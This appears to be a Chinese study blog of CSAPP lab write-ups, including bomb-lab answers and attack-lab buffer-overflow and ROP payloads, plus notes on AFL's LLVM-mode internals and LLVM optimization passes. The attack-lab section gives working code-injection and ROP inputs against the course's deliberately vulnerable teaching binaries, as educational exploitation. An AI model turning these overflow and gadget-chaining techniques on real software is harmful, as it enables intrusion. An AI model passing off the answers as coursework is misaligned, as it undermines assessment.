128.2.194.242
就是地址0x8002c2f2
的点分十进制表示。
应用程序使用以下函数实现IP地址和点分十进制串之间的转换。
1 |
|
例如Web服务的80端口,FTF服务的20端口。
(cliaddr:cliport, servaddr:servport)
套接字接口(socket interface)是一组函数,它们和Unix I/O 函数结合,用以创建网络应用。
以下是一个典型的客户端-服务器事务的上下文中的套接字接口概述。
套接字地址结构
1 | /* IP socket address structure */ |
默认情况下,内核会认为socket
函数创建的描述符对应于主动套接字(active socket)。listen
函数将sockfd从一个主动套接字转化为一个监听套接字(listening socket),该套接字可以接收来自客户端的请求。accept
函数会返回一个已连接描述符(connected socket)。(套接字和描述符在这里都指代socket)
注意区分开监听描述符和已连接描述符。
1.监听描述符作为客户端连接请求的一个端点,通常被创建一次,并存在于服务器的整个生命周期。
2.已连接描述符是客户端和服务器之间已经建立起的连接的一个端点。服务器每次接收连接请求时都会创建一次,它只存在于服务器为一个客户端服务的过程。
监听描述符和已连接描述符概念的区分可以方便并发服务器的建立。
程序可以使用socket
、connect
、bind
、listen
、accept
函数等等来建立连接。
]]>其余暂略,待学习操作系统时再学并发
make all
即可编译代码bits.c
中的每个函数的功能。实现功能时不同函数会有不同的限制,例如不能使用运算符!
等等。./btest
以测试文件bits.c
中的函数./dlc bits.c
以检查文件bits.c
中的函数是否使用了被限制的运算符。如果一切正常,则不输出任何信息。./ishow <intNum>
或./fshow <floatNum>
以查看传入十六进制的详细信息Write Up全部以注释的形式写入代码中,方便阅读与理解
bomb.c
代码,注意到程序可以打开某个文件,并将其作为输入的来源。gdb bomb
,在main函数初始位置下断点,并键入run input.txt
以启动调试。
input.txt
是传给bomb的参数(输入文件的名称)
1122333
需要注意的是,
read_line
函数会将每一行的最后一个字符(通常是\n
)替换为\0
, 如果程序的最后一个字符并非\n
等无效字符,则phases的最后一个字符会被清除。避免该问题最有效的办法就是将输入文件中的每一行phases末尾增加一个换行符。
单步进入phase_1
函数。程序会通过string_no_equal
函数判断输入的字符串是否与特定字符串相等,如果不相等则炸弹爆炸。
由此可得出phases1
为Border relations with Canada have never been better.
(勿漏句末点号)
phases_2
函数中,首先会调用read_six_numbers
函数,从刚刚的一行输入中读取6个数字, 并判断a == 1 ?
,
为了简化说明,我们将输入的6个数分别取名为a, b, c, d, e, f。
将a是否等于b命名为a = b ?
之后循环判断 2 * 当前遍历到的数 == 下一个遍历到的数 ?
即判断输入的6个数是否是以2为公比的非零等比数列,如果所有条件都满足则通过此关卡。由此可得出phases2
可以是1 2 4 8 16 32
phases_3
函数中,程序会先将读入的一行字符串转化为两个数字(如果转换的数字个数不为2则爆炸)然后判断第一个数a < 7 ?
。第二个数的值取决于第一个数。如果第二个数与第一个数所指定的常数相等,则通过此关卡。
由此我们可以得到phases3
: 7 327
(答案不唯一)
phases_4
函数与phases_3
函数类似,都会读入两个数字。该函数会执行以下流程
a
是否小于等于14(注意数字a
是无符号整数)func4(a, 0, 14)
,并判断其返回值是否等于0b
是否等于0func4
函数比较特殊,该函数会在内部递归调用自身。通过分析其反汇编代码,得到以下C代码
1 | int func4(int arg0, int arg1, int arg2) |
通过暴力枚举,可以得到func(x, 0, 14) == 0
的4个解,分别为0, 1, 3, 7。
故,phases4
可以是0 0
(答案不唯一)
phases_5
函数中,程序会
ch & 0xf
为索引,每次在全局字符串maduiersnfotvbyl中获取一个字符flyers
相比较,如果相同,则通过当前关卡故根据上面的信息可得,phases_5
: ionefg
/ IONEFG
(答案不为一)
函数phases_6
提高了难度。为了便于说明,我们为输入的6个数字命名为 a1, a2, a3, a4, a5, a6。
第一部分是一个嵌套循环。
为便于理解,将该嵌套循环的汇编代码翻译为如下C代码:
1 | // 6个输入的数字 |
这个代码比较简单,因为它实际上就是遍历检测所输入的6个数是否出现重复,如果存在重复则爆炸。同时还将输入的数字限制在了1-6中(注意其中的数字是 无符号 整数)
第二部分是一个简单的循环。这个循环将输入的六个数字设置为 inputNum[i] = 7 - inputNum[i]
第三部分同样是一个循环,为便于说明,将该部分的汇编代码转换为如下的C代码:
为了便于直观,调换了部分代码的顺序,不影响最终结果
1 | int rsi = 0 |
程序遍历之前转换的值,并将其作为索引,来获取链表上特定位置的地址,并将其存入栈中。
第四部分还是一个万年不变的循环。
这个循环会改变原来的链表顺序,并将其设置为栈上链表的顺序。其代码如下
1 | rcx = list[0]; |
第五部分是一个校验循环。这个循环会使用新顺序来获取链表上的值并判断其关系,其中链表上的值必须逐级递减,否则炸弹爆炸。
由于链表上的值顺序为 node3 > node4 > node5 > node6 > node1 > node2
故我们最后终于可以得出phases6
: 4 3 2 1 6 5
当6个关卡都通过之后,我们跟进phase_defused
,发现还有隐藏关卡。
在进入隐藏关卡前,我们需要先通过两个判断。
将第一个判断的sscanf
操作的字符串所在内存输出,可以看出,该字符串是phases_4
关卡的输入
函数参数:
内部内存的值:
同时,第二个判断所对比的字符串为
故我们可以在phases_4
关卡的输入后追加字符串DrEvil
来进入隐藏关卡secret_phase
。
secret_phase
关卡中会先读入一个数字inputNum
,并满足该条件(inputNum - 1)<= 0x3e8(1000)
, 即输入的数字必须小于等于1001。
之后执行函数fun7(&n1, inputNum)
。当该函数的返回值为2时则通过此关卡。
全局变量n1
是一个树节点,其所有相关的树节点如下所示
为便于理解,将函数fun7
的汇编代码转为C代码:
1 | int fun7(treeNode* node, int num) |
易知,若需fun7(&n1, inputNum) == 2
, 则要进行如下操作
22
最后的输入文本为
1 | Border relations with Canada have never been better. |
通关截图
ctarget
文件:该文件用于代码注入实验。
在代码注入实验中,通过使缓冲区溢出、注入攻击代码来完成特殊目的。
在stable_stable_launch
函数中有个很有意思的操作。程序会mmap出一块RWX的内存,并将栈指针迁移到这块固定地址的内存上。这一步方便了后续的代码执行操作,否则原始栈上数据是不可执行的(NX)
代码注入脆弱点位于getbuf
函数中,该函数会调用gets
函数,这可能会造成溢出。
在该函数中,字符串所存入的地址为0x5561dc78
,当前函数的返回地址存储于0x5561dca0
,其相对偏移为40
phase1
该关卡只要求将程序的控制流返回至touch1
函数中即可,其中该函数的地址为0x4017c0
这里需要利用栈溢出来修改栈上的函数返回地址
故最终的输入文件如下
注意文件中的
00
不可省略,因为这是函数地址的一部分(64位中指针大小为8字节)
注意小端序
1 | 31 31 31 31 31 31 31 31 |
通过当前关卡的截图如下
phase2
touch2
函数与touch1
不太一样,它多了一项寄存器的比较。只有当%edx == <cookie>
时才能通过当前关卡。
此时我们就需要在栈上布下代码,使控制流在getBuf
函数返回时跳转至栈上的代码,修改%edx寄存器并最终跳转回touch2
函数。这部分代码为
touch2
函数的地址为0x4017ec
1 | movq $0x59b997fa, %rdi # 0x59b997fa是个人cookie |
之后执行以下指令,将其编译为机器码并显示详细信息。
1 | gcc -c asm.s -o asm.o && objdump -d asm.o |
最后我们的输入数据如下
1 | 48 c7 c7 fa 97 b9 59 68 |
通过当前关卡的截图如下
phase3
touch3
函数与touch2
函数类似,都存在着一个比较的判断,通过该判断即可通过当前关卡。
所不同的是,touch3
函数中使用另一个函数hexmatch
进行判断。hexmatch
传入的参数分别为&cookie
与touch3
的第一个参数%rdi
。
分析hexmatch
函数,可以发现,当栈溢出时刻的%rdi == 0x5561dc13
时,即可通过当前关卡。
由于该关卡修改的寄存器与第二关的寄存器一致,所以可以直接修改第二关的输入数据,即可得到当前关卡的输入数据。
1 | 48 c7 c7 13 dc 61 55 68 |
注意! 这个解实际上是 非预期解 。按照正常的逻辑,用于存放cookie字符串的内存地址应该是随机的。
1 | /* Compare string to hex represention of unsigned value */ |
但由于程序内部并没有初始化随机数种子,所以生成的随机数始终是固定的,进而导致用于存放cookie字符串的内存地址一直是同一个地址。
rtarget
文件: 该文件用于ROP实验gets
输入点与函数返回地址存放位置之间的相对偏移仍是40
。使用objdump -S rtarget > rtarget.s
指令将rtarget
文件中的反汇编输出
这里只截取了ROP可能会用到的部分汇编
1 | 00000000004019a7 <addval_219>: |
注意到函数addval_219
中存在字节序列58 90 c3
。其中58
是popq %rax
的机器表示,90
是nop
的机器表示,c3
是ret
的机器表示。这样的一小段字节序列可以用来将数据从栈上弹到寄存器%rax
中。
1 | 4019ab: 58 popq %rax |
同时,函数addval_273
中存在字节序列48 89 c7 c3
。其中48 89 c7
就是movq %rax, %rdi
的机器表示,c3
是ret
的机器表示。所以我们可以利用这个gadget将%rax
中的数据拷贝到%rdi
中
1 | 4019a2: 48 89 c7 movq %rax, %rdi |
上述的两条popq rax
与movq %rax, %rdi
之间的配合,间接构成了一条popq %rdi
指令,这样我们就可以设置寄存器%rdi
,完成目的。实际效果如下:
综上所述,我们需要完成
popq %rax
movq %rax, %rdi
touch2
函数(地址为0x4017ec
)最终输入的数据如下
1 | 31 31 31 31 31 31 31 31 |
过关截图
在这一关中,主要会用到如下几个函数
1 | 0000000000401a03 <addval_190>: |
其中分别提取出可利用的gadgets
1 | 401a06: 48 89 e0 movq %rsp, %rax |
这些gadgets组合起来,可以获得指定偏移量的栈地址。如果将cookie字符串写入至此地址上,则可以达到 %rdi指向cookie字符串 这个目的,这样便可以通过当前关卡。
使用效果如下
最后的输入数据如下
注意第13行只有7个字节,并非笔者的疏忽
1 | 31 31 31 31 31 31 31 31 |
过关截图
这部分内容的工作目录为arch-lab/sim/misc
在part A中,我们要分别用Y86
汇编(注意不是x86
)来手动编写位于example.c
中的三个函数,以熟悉Y86
的基本语法。该部分实现较为简单,依照CSAPP上的代码照葫芦画瓢即可。
其中,编译与运行Y86
指令的shell脚本如下
1 |
|
执行效果如图所示
sum_list
函数的Y86
汇编 - github
rsum_list
函数的Y86
汇编 - github
注意递归调用函数时,需保存特定的寄存器到栈上,以便调用者使用。
copy_block
函数的Y86
汇编 - github
该部分内容主要是为SEQ处理器添加指令iaddq
,所要修改的文件为seq-full.hcl
,其工作目录为arch-lab/sim/seq
由于iaddq
指令既与运算操作相关,又与立即数处理相关,故该指令的功能添加可以参考seq-full.hcl
中的IOPQ
以及IIRMOVQ
来编写。
以下摘抄了修改过的内容,完整内容请进入github,所有更改均以中文注释的形式写入其中。
注:编写HCL时,使用汇编高亮是个不错的选择。
1 | # Instruction code for iaddq instruction |
当指令添加完成后,执行以下操作
1 | # 生成新的SEQ模拟器。如果make失败,可能需要修改makefile |
iaddq
指令测试成功的截图如下
编译过程中可能会出现一些错误,例如未找到头文件tk.h
、某个结构体中没有成员result
、程序链接失败等等。其解决方法如下:
首先在执行make
前,需要修改makefile
中的部分内容
1 | # 初始情况下 VERSION为std,如果只想生成full版本的ssim,可以直接修改VERSION |
其次,将ssim.c
文件中的第844、845行注释掉即可
1 | /* 第837行 */ |
在当前部分中,我们需要修改ncopy.ys
与pipe-full.hcl
,以获得更高的执行效率
当代码修改完成后,执行以下命令
1 |
|
笔者所做的优化
pipe-full.hcl
中实现iaddq
指令,并替换ncopy.ys
中所有可被iaddq
替代的指令(包括其中一个操作数为立即数的sub
指令)。此时CPE等于12.70
13、5、1
层数的三个不同循环。同时将 读取 与 存储 指令分开,减少 气泡(bubble)的插入或流水线的暂停。此时CPE等于8.84,分数为33.1/60.0
pipe-full.hcl
由于其添加流程与part B类似,故不再赘述,代码存于github。ncopy.ys
代码篇幅较大,存于github中
在Part A中,我们需要仿造csim-ref
,编写一个cache模拟器,该模拟器可以模拟在一系列的数据访问中cache的命中、不命中与牺牲行的情况,其中,需要牺牲行时,用LRU替换策略进行替换。
偷了个小懒,直接把csim-ref逆向出了源代码 - github
Cache主体的数据结构如下
1 | typedef long long unsigned mem_addr_t; |
每次获取数据时,都需要修改该数据中的LRU。同时,如果该数据并没有存放于Cache中,则需要根据LRU来驱逐某条Cache_line。
1 | void accessData(mem_addr_t addr) |
-S 5 -E 1 -B 5
。即该cache为内含32个缓存行的直接映射高速缓存,其中每个缓存行可以存放32位数据,即8个int型数据。原先的8x8分割无法使用,原因是这样会产生内部的访问冲突,加大miss数量。
请注意,倘若按照4x4的大小来分割,则会浪费一半的cache空间,所以这并非64x64矩阵的最优解法,但这是笔者能想到的最优解法。
make && ./driver.py
命令进行测试。以下是笔者的测试结果。在这个Lab中,我们需要完善tsh.c
代码,做出一个简单的shell程序。注意,在完成这个Lab前,最好把第八章异常程序控制流的相关内容理解透彻。
编写时,有几个点需要注意一下
避免条件竞争。
如果子进程在tshfork
之后、addjob
前结束进程,则此时会因为SIGCHLD
信号,转去信号处理程序里执行deletejob
。
此时的执行顺序就变成了deletejob
->addjob
,这将会产生一个永远存在的job,即便该job所指定的进程已经终止了。
所以我们在执行fork
函数前,将一些可能会导致条件竞争的信号阻塞,待addjob
执行完成后再来处理信号。
1 | if(sigemptyset(&set) < 0) |
与当前进程一样,fork
出的子进程,其被阻塞的信号是相同的,故子进程必须恢复回被阻塞的信号。
1 | if((pid = fork()) < 0) |
信号不排队
如果有多个子进程同时终止并发出SIGCHLD
信号,则tsh主进程只会收到一个信号,而不是多个。
原因是当某个类型的信号被阻塞后,新来的相同类型信号会被简单的丢弃。
所以在回收子进程时,应使用循环形式尽可能多的回收进程。
1 | // sigchld_handler函数中 |
只应使SIGCHLD
信号处理程序执行waitpid
。
该信号处理程序会处理所有子进程的暂停/终止状态,而tsh进程在等待前台进程结束时,只需简单的挂起即可,无需再次执行waitpid
。
1 | /* |
否则waitfg
、sigchld_handler
两边都执行waitpid
函数,这可能会造成一些无法预料到的、令人感到迷惑的错误。
fork出的新子进程需要重新设置进程组号
setpgid(0,0)
,这将使子进程放入一个新的进程组中,其中该进程组的ID与子进程的PID相同。这确保bash前台进程组中只有一个进程,即tsh进程。当主进程需要暂时挂起时,最好使用sigsuspend
挂起,而不是简单的使用sleep
,因为sleep
的速度过于低下。
在信号处理程序中,最好使用原子函数,因为这类函数在执行时不会因为其他信号的触发而被打断。
以printf
函数为例,该函数不推荐在信号处理程序中使用,因为它不是原子类型的函数。
当执行printf
函数时,倘若被另一个信号中断,待从信号中断程序返回并继续执行printf
时,printf
很有可能会执行失败。
发送信号给子进程时,最好发送给子进程所在的进程组。例如发送SIGTSTP
:
1 | if(kill(-pid, SIGTSTP) < 0) |
sigchld_handler
处理SIGCHLD
信号时,需要对三类情况分开处理,分别是
WIFSTOPPED(status)
)WIFEXITED(status)
)SIGKILL
笔者将tshref
的源代码(相似度高达98%)存于github。
由于tsh只是一个较为简单的程序,故编写时仍然使用了一些不被推荐的函数(例如
sleep
、printf
)以降低编写难度。
在做malloc lab时,有几个点需要注意一下
使用大量宏定义
assert
可以限制程序运行时的一些条件,方便查找错误。#ifdef、#else、#endif
宏定义,这样不仅可以保留旧的chunk结构,而且还可以快速从新旧结构中切换,非常方便。最好将旧的chunk结构保留。
因为很有可能在编写新结构时发现一个致命错误,从而不得不重新使用旧的结构。
1 | // ... |
指针运算
需要注意的是,不同的指针类型与数字运算,可能会偏移不同的字节数。最好将所有指针强制转换为char*
或void*
类型再操作。
1 | int* ip = 0x1100; |
考虑边界情况
PREV_INUSE
位进行设置。但如果这个被释放的chunk是最后一个chunk,此时设置下一个chunk的相关位就会产生off by one
漏洞,所以需要对最后一个chunk进行特殊处理。内存对齐
mdriver
程序会验证用户空间地址(不是chunk首地址)是否对齐,因此需要手动在初始化时抬高brk
4个字节的空间。笔者使用了分离适配原则,最终代码存放于github,下面来简单讲讲思路
首先,chunk的结构如下
1 | free chunk的结构 |
当该chunk被释放,即free chunk
,则该chunk的最后4个字节会用于设置当前free chunk的大小,同时设置下一个内存相邻chunk的chunksize部分的PREV_INUSE
位。
但由于每个free chunk都会设置下一个chunk的相关位,如果内存中最靠后的一个chunk被释放,则会修改尚未分配的内存,这可能会导致off by one
漏洞。所以又额外设置了一个top chunk
指针,该指针指向内存中最靠后的chunk,该chunk独立管理,不添加进链表中。
由于一个chunk中的PREV_INUSE
位表明上一个内存相邻chunk的分配情况,故内存中最靠前的chunk的PREV_INUSE
位需要额外处理,因为该chunk之前不存在chunk。
1 | int mm_init(void) |
该程序使用分离的链表来管理各个chunk,每个数组中存放两个指针——FD
、BK
,分别指向链首的chunk和链尾的chunk。
1 |
|
相关函数的实现
mm_init
: 初始化链表、抬高4字节使chunk的用户空间通过8字节对齐标准、手动分配并设置第一块chunk的PREV_INUSE
位为0、分配一块超大内存给top_chunk
。mm_malloc
: 首先查找各个链表中是否存在所需要的chunk。top chunk
的空间是否足够分配top_chunk
指针,之后重新递归执行mm_malloc
,返回该递归执行的返回值。mm_free
: chunk的释放策略非常简单,直接将传入的chunk插入特定索引的链表中即可。插入时自动合并相邻的chunk。mm_realloc
: 该函数先将传入指针的上下两块可能空闲的chunk合并,然后判断当前chunk的大小是否符合需求。这里的复制数据最好使用
memmove
,因为合并后的chunk与原先传入的chunk,其首部可能存在重叠,memmove
可以避免这种因为chunk重叠而数据被破坏的错误。
86/100
评分程序中的
valid
表示是否通过当前测试用例,util
表示空间利用率,ops
表示当前测试用例内的所有操作总数,secs
表示执行当前用例所耗的总时间,Kops
即Kop/s
,表示执行操作的速度,可以间接理解为吞吐量。
在Part A中,我们要完成以下几个任务
User-Agent、Host、Connection、Proxy-Connection
。如果原来的http header中已经包括了某个header,则不再添加。GET http://localhost:80/index.html HTTP/1.1
为GET /index.html HTTP/1.1
这部分内容分值为40分,其实现过程可以参照tiny网页服务器来实现。所设计的数据结构如下
1 | typedef struct { |
Part B中的任务只有一个,将程序修改为并发程序。
最简单的实现方式就是使用pthread来进行多线程处理。需要注意的是,每一条线程都必须使用分离模式,这样当某条线程结束任务后,其资源就可以自动被操作系统释放,而无需主线程主动释放,避免了内存泄露。
1 | pthread_attr_t thread_attr; |
Part B分值15分。
Part C要求我们对Proxy程序添加缓存功能,即当代理服务本身存放着某个资源的缓存时,代理服务就可以之间将该资源返回给客户端,而不需要向服务器申请。
使用LRU作为Cache的置换算法,单次读取某个资源时需要重新设置该资源的LRU变量。故其数据结构定义如下
1 | // 缓存 |
由于写入数据会修改Cache,读取数据也会修改Cache,故每条线程在使用Cache时必须对资源上锁,防止条件竞争。
1 | // 互斥锁 |
Part C分值也是15分。
curl -v <webAddr> --proxy <proxyAddr>
命令来调试,使用-v
参数可以时curl输出发送的http内容与返回的http内容,便于调试。afl-clang-fast
(LLVM_mode版afl-clang
)编译程序,可以获得更快的Fuzzing速度。AFL的安装还是很省事的,进入源码目录直接sudo make install
即可
编译AFL LLVM_mode的afl-clang-fast
也很简单,只要进入llvm_mode
文件夹并执行make all
即可。
注意! 编译afl-clang-fast
时,所使用的clang
版本一定要与llvm-config
上显示的版本所对应,否则会报如下错误:
笔者的系统里装了llvm-6.0、llvm-8以及llvm-9,但对应的clang只安装了clang-8,所以链接时会报错。我的做法是
1 | cd /usr/bin |
最后,使用afl-clang-fast
编译前,需要设置一下AFL_PATH
,使其可以找到afl-llvm-rt.o
和 afl-llvm-pass.so
1 | export AFL_PATH=/usr/class/AFL-master/ |
afl-clang-fast实际上是CC/CXX的wrapper。它定义了一些宏,设置了一些参数,最终调用真正的编译器。
CC指代C语言编译器,CXX指代C++编译器
其主函数如下
1 | /* Main entry point */ |
我们可以在主函数中添加一点代码,将传递给CC/CXX的参数输出,便于学习
1 | // 输出传递给CC或CXX的参数 |
示例
一个有趣的地方: afl-clang-fast
与afl-clang-fast++
是同一个文件,在函数edit_params
中,其通过判断当前执行的文件名来决定使用CC或者CXX
1 | // 获取当前所执行的文件名,确定执行CXX还是CC |
afl-clang-fast默认会打开O3级别的优化,如需关闭,需要设置环境变量
1 | export AFL_DONT_OPTIMIZE=1 |
如需打开,只需执行
1 | unset AFL_DONT_OPTIMIZE |
afl-llvm-pass中,只有一个pass —— AFLCoverage
。该pass会在每一个基础块的第一个可插入指令处插桩,检测 控制流的覆盖程度。
1 | class AFLCoverage : public ModulePass { |
runOnModule函数首先找出当前线程上下文中所对应的IntegerType,并且打印banner
1 | bool AFLCoverage::runOnModule(Module &M) { |
之后获取预设的代码插桩率
1 | /* Decide instrumentation ratio */ |
接下来会获取全局变量中指向共享内存的指针,以及上一个基础块的编号
这个共享内存上存放着各个控制流流经次数的计数器
1 | /* Get globals for the SHM region and the previous location. Note that |
必要信息已经收集的差不多了,开始遍历每个基础块插桩
1 | int inst_blocks = 0; |
首先获取当前基础块与上一个基础块的编号
1 | // 随即获取当前的基础块编号 |
通过上述两个编号,计算出共享内存上所对应的地址
1 | /* Load SHM pointer */ |
该地址上的计数器递增
1 | /* Update bitmap */ |
设置__afl_prev_loc
,作为下一个插桩基础块的 “上一个基础块编号”
1 | /* Set prev_loc to cur_loc >> 1 */ |
之所以要将当前基础块编号右移一位,是因为当基础块跳转
A->A
和B->B
,或A->B
和B->A
,它们的编号做异或后的结果是相同的,无法区分,所以其中一个编号要右移一位。
当前基础块插桩完成,开始遍历下一个基础块
当插桩完成后,输出相关信息并返回
1 | /* Say something nice. */ |
总结:
这块共享内存的实质就是一个
hashtable
编号存在碰撞。不过根据AFL文档中的介绍,对于不是很复杂的目标,碰撞概率还是可以接受的:
1 | Branch cnt | Colliding tuples | Example targets |
以下是经过pass处理后所插入的IR代码。这些IR代码在每个基础块前都会被插入。
图片中的
39820
是当前基础块随机出的编号,19910
是当前基础块编号右移一位的值
使用afl-clang-fast,将源代码编译为IR的指令
注意:最好设置环境变量AFL_DONT_OPTIMIZE
以关闭编译器优化
1 | afl-clang-fast -S -emit-llvm src.c |
AFL LLVM_Mode中存在着三个特殊的功能。这三个功能的源码位于
afl-llvm-rt.o.c
中。
LLVM_mode 的第一种特殊功能 —— deferred instrumentation
AFL会尝试通过仅执行一次目标二进制文件来优化性能。它会暂停控制流,然后复制该“主”进程以持续提供fuzzer的目标。该功能在某些情况下可以减少操作系统、链接与libc内部执行程序的成本。
若想使用该功能,则需要在代码中找到一个合适的位置,以便于进程的复制。这点需要格外的小心,尤其要避开程序在
选好位置后,将下述代码添加到该位置上,之后使用afl-clang-fast重新编译代码即可
1 |
|
示例
1 |
|
宏定义__AFL_HAVE_MANUAL_CONTROL
与__AFL_INIT()
的实现,都由afl-clang-fast以参数的形式传递给真正的编译器
等价于
1 |
|
__AFL_INIT()
内部调用__afl_manual_init
函数。该函数的源代码如下
1 | /* This one can be called from user code when deferred forkserver mode |
在__afl_map_shm
函数中,程序会读取特定的环境变量__AFL_SHM_ID
。如果__AFL_SHM_ID
被设置了,则将共享内存映射到当前虚拟内存中,并将地址赋值给__afl_area_ptr
。否则,默认的__afl_area_ptr
指向的是一个数组。
该数组的存在是必须的,因为如果程序对宏定义__AFL_INIT()
的插入点比较靠后(或者甚至没有插入宏定义),那么宏定义前的代码插桩点就必须要有一块内存用于输出。而这块初始的内存不需要与AFL共享,因为AFL不关心在__AFL_INIT()
前的代码插桩。
1 | /* Globals needed by the injected instrumentation. The __afl_area_initial region |
环境变量__AFL_SHM_ID
会在afl-fuzz
中被设置。如果该环境变量存在,则可以间接表明当前程序是afl-fuzz
的子进程。
以下是__afl_map_shm
函数源码
1 | /* SHM setup. */ |
__afl_start_forkserver
函数稍微有些复杂,因为其中涉及到了进程的通信与复制。
为便于说明,约定:父进程指的是afl-fuzz,当前进程指的是forkserver,子进程指的是从forkserver fork出的、用于fuzz测试的进程。
当afl-fuzz
启动目标程序后,目标程序会执行如下步骤
fuzzer并不负责fork子进程,而是与这个fork server通信,并由fork server来完成fork及继续执行目标的操作。这样设计的最大好处,就是不需要调用execve(),从而节省了载入目标文件和库、解析符号地址等重复性工作。
详细信息都以注释的形式标注在代码中,其函数代码如下:
1 | /* Fork server logic. */ |
LLVM_mode 的第二种特殊功能 —— persistent mode
由于某些库所提供的API是无状态的,又或者可以在处理不同的输入样本之间重置其状态。
当API重置后,一个长期活跃的进程就可以被重复使用,这样可以消除重复执行fork函数以及OS相关所需要的开销
使用示例
1 | while (__AFL_LOOP(1000)) { |
循环次数不能设置过大,因为较小的循环次数可以将内存泄漏和类似故障的影响降到最低。所以循环次数设置成1000是个不错的选择。
__AFL_LOOP
与__AFL_INIT
类似,其宏定义都由afl-clang-fast
传递
1 |
|
宏定义__AFL_LOOP
内部调用__afl_persistent_loop
函数。
需要注意的是每次fuzz过程都会改变一些进程或线程的状态变量,因此,在复用这个fuzz子进程的时候需要将这些变量恢复成初始状态,否则会导致下一次fuzz过程的不准确。从该函数的源代码中可以看到,状态初始化的工作只会在第一个循环中进行,之后的初始化工作都交给父进程。
该函数的源代码如下
1 | /* A simplified persistent mode handler, used as explained in README.llvm. */ |
全局变量is_persistent
会在执行函数__afl_auto_init
时被设置。
__afl_auto_init
函数会被afl-fuzz自动调用。
当is_persistent
被设置为1时,__AFL_LOOP
才会进入persistent mode
.__afl_auto_init
函数的代码如下:
1 | /* Proper initialization routine. */ |
需要注意的是,当afl-fuzz使用forkserver时,__afl_auto_init
函数会直接return。
这似乎意味着deferred instrumentation
与persistent mode
互斥。
LLVM_mode 的第三种特殊功能 —— trace-pc-guard mode
新版LLVM内置了trace-pc-guard mode
如果想尝试一下这个功能,则需要执行这条代码来重新编译afl-clang-fast
1 | AFL_TRACE_PC=1 make clean all |
函数__sanitizer_cov_trace_pc_guard
会在每个基础块的边界被调用。该函数利用函数参数guard
所指向的值来确定共享内存上所对应的地址。
其中AFL所实现的这部分代码如下
1 | /* The following stuff deals with supporting -fsanitize-coverage=trace-pc-guard. |
可以看到,这个函数与AFL-llvm-Pass中的代码插桩有异曲同工之妙。
函数__sanitizer_cov_trace_pc_guard_init
将会被编译器插入至Module的构造函数之前。
这个函数的功能是设置各个基础块guard
指针所指向的值。
在正常情况下,各个基础块guard
指针所指向的值是不相同的,但在这里可以通过代码插桩率,利用该值来随机插桩。
以下是函数源代码:
1 | /* Init callback. Populates instrumentation IDs. Note that we're using |
中间代码 的生成是为了便于更好的 代码优化。
代码优化的实质:分析(Analysis)+转换(Transformation)
注:本文所设计到的代码优化类型并不全面,仅记录下笔者所学的类型。
基本块(BasicBlock)
基本块是满足下列条件的 最大 的 连续 中间表示指令序列
也就是说,没有跳转到基本块中间的或末尾指令的转移指令
流图(FlowGraghs)
此时称,B是C的 前驱 (predecessor),C是B的 后继 (successor)
常用的代码优化方法
如果表达式
x op y
先前已被计算过,并且从先前的计算到现在,x op y
中的变量值没有改变,则x op y
的这次出现就称为公共子表达式(common subexpression)
无用代码(Dead-code):其计算结果永远不会被使用的语句
如果在编译时刻推导出一个表达式的值是常量,就可以使用该常量来替代这个表达式。该技术被称为 常量合并
这个转换的结果是那些 不管循环多少次都得到相同结果的表达式(即循环不变计算,loop-invariant computation),在进入循环之前就对它们进行求值。
用较快的操作代替较慢的操作,如用 加 代替 乘 。(例:2*x ⇒ x+x)
对于一个变量x ,如果存在一个正的或负的常数c使得每次x被赋值时它的值总增加c ,那么x就称为归纳变量(Induction Variable)。在沿着循环运行时,如果有一组归纳变量的值的变化保持步调一致,常常可以将这组变量删除为只剩一个
测试代码如下:
1 | int g; |
将上文中的C++代码用clang
编译后生成的IR如下
注意: 用clang编译时,需要设置
-O0 -disable-O0-optnone
这两项flag,以取消clang
自身的代码优化
1 | ; 一个文件一个模块(Module) |
LLVM 的pass框架是LLVM系统的一个很重要的部分。LLVM的优化和转换工作就是由多个pass来一起完成的。类似流水线操作一样,每个pass完成特定的优化工作。 要想真正发挥LLVM的威力,掌握pass是不可或缺的一环。
LLVM中pass架构的可重用性和可控制性都非常好,这允许用户自己开发pass或者关闭一些默认提供的pass。
总的来说,所有的pass大致可以分为两类:
analysis
)和转换分析类的pass以提供信息为主transform
)的pass优化中间代码下文是一个简单的pass(CSCD70课程-Assignment1-FunctionInfo)
1 |
|
基础pass有很多类,一些常用的pass类分别是
一个Module
类实例对应一个源码文件。在Module
类中含有以下列表,其中以FunctionList
为首。
1 | GlobalListType GlobalList; ///< The Global Variables in the module |
在Function
类中,又有基础块列表(BasicBlocks
)
1 | BasicBlockListType BasicBlocks; |
BasicBlock
类中,内含指令列表(InstList
)
1 | InstListType InstList; |
一个Instruction
类实例对应一条IR代码
上述几个类内有联系,层次分明。其关系如下
graph LR;Module --内含--> GlobalVariableModule --内含--> FunctionModule --内含--> ......Function --内含--> BasicBlockBasicBlock --内含--> Instruction
以下是几个较常用类的结构图
graph TB;Value --派生--> UserUser --派生--> ConstantUser --派生--> InstructionInstruction --派生--> BinaryOperatorConstant --派生--> ConstantDataConstantData --派生--> ConstantInt
在编写pass对IR进行优化时,
Value ⇒ ConstantInt
类型转换
1 | //如果转换失败,即Type不是ConstantInt类继承链上的,则返回NULL |
获取ConstantInt
类的值
1 | ConstantInt* const_int; |
替换某个指令
用法
1 | Instruction inst; |
IR代码示例
1 | ; 执行Pass前 |
建立新指令
1 | // 取出当前指令的第一个操作数 |
LLVM示例代码 - github
左侧是三地址代码,右侧是基本块的DAG表示
在DAG构造结束时x仍然是N的定值变量
在每一种数据流分析应用中,都会把每个 程序点 和一个 数据流值 关联起来。
IN[s]
: 语句s之前的数据流值OUT[s]
: 语句s之后的数据流值一个赋值语句s之前和之后的数据流值的关系
传递函数有两种风格:
IN[B]
: 紧靠基本块B 之前 的数据流值OUT[B]
: 紧靠基本块B 之后 的数据流值逆向数据流问题
$def_B$:在基本块B中 定值,但是定值前在B中没有被 引用 的变量的集合。
$use_B$:在基本块B中 引用,但是引用前在B中没有被 定值 的变量集合。
例:各基本块B的$use_B$和$def_B$
LLVM示例代码 - github
可用表达式(available expressions)
x op y
进行计算,并且从最后一个这样的计算到点p之间 没有再次对x或y定值,那么表达式x op y
点p是 可用 的(available)x op y
已经在之前被计算过,不需要重新计算用途:
传递函数(Transform Function)
对于可用表达式数据流模式而言,如果基本块B对x或者y 可能 进行了定值,且以后没有重新计算x op y,则称B 杀死(kill) 表达式x op y。如果基本块B对x op y进行计算,并且 之后没有重新定值 x或y,则称B 生成(generate) 表达式x op y
杀死:指的是在后续中如果需要计算
x op y
,则原先的计算结果不可使用,原因是x或y 可能 在这两个过程中间进行了定值操作
生成:指的是在后续中如果需要计算x op y
